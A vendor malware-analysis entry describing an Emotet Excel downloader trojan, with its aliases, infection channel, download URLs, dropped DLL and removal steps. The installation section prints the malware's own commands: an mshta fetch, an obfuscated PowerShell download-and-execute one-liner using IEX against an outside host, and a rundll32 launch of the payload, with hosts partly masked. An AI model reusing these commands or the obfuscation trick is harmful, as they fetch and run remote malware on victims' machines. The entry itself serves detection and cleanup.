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Trojan.XF.EMOTET.YXCA1

January 31, 2022
 Analysis by: Khristian Joseph Morales
 ALIASES:

TrojanDownloader:O97M/Emotet.RVB!MTB (MICROSOFT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

77,592 bytes

File Type:

XLS

Memory Resident:

No

Initial Samples Received Date:

27 Jan 2022

Payload:

Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • cmd /c mshta http://{BLOCKED}.{BLOCKED}.118.168/qqw/aas/se.html
  • "%System%\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://{BLOCKED}.{BLOCKED}.118.168/qqw/aas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
  • "%System%\cmd.exe" /c %Windows%\SysWow64\rundll32.exe C:\ProgramData\QWER.dll , AADD

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}n.com/wp-content/XSs5/
  • http://{BLOCKED}lubin.igclout.com/wp-admin/vzOG/
  • http://{BLOCKED}ravel.com/cgi-bin/2TjUH/
  • http://{BLOCKED}struction.com/wp-admin/JJEf0kEA5/
  • http://{BLOCKED}bradley.com/css/YcDc927SJR/
  • https://{BLOCKED}r.com/wp-includes/ghFXVrGLEh/
  • https://{BLOCKED}tudio.com/wp-admin/c3zgRi2wXwCbdSD3iz/
  • https://{BLOCKED}rtinsanchez.com/wp-admin/QpFDJPMY49/
  • https://{BLOCKED}yecentre.org/cgi-bin/l42slgmf8nBpUYsb/
  • https://{BLOCKED}-milano.com/wp-content/FEj3y4z/
  • https://{BLOCKED}ortchannel.com/wp-includes/KaWZp0odkEO/
  • https://{BLOCKED}egypt.com/wp-includes/W7qXVeGp/
  • http://{BLOCKED}.{BLOCKED}.118.168/qqw/aas/se.png

It saves the files it downloads using the following names:

  • C:\ProgramData\QWER.dll

NOTES:

This Trojan does the following:

  • The document contains the following message details luring users to enable macro content:
  • It opens the following URLs via mshta.exe:
    • http://{BLOCKED}.{BLOCKED}.118.168/qqw/aas/se.html

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

17.344.05

FIRST VSAPI PATTERN DATE:

28 Jan 2022

VSAPI OPR PATTERN File:

17.345.00

VSAPI OPR PATTERN Date:

29 Jan 2022

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

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There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • C:\ProgramData\QWER.dll

Step 4

Scan your computer with your Trend Micro product to delete files detected as Trojan.XF.EMOTET.YXCA1. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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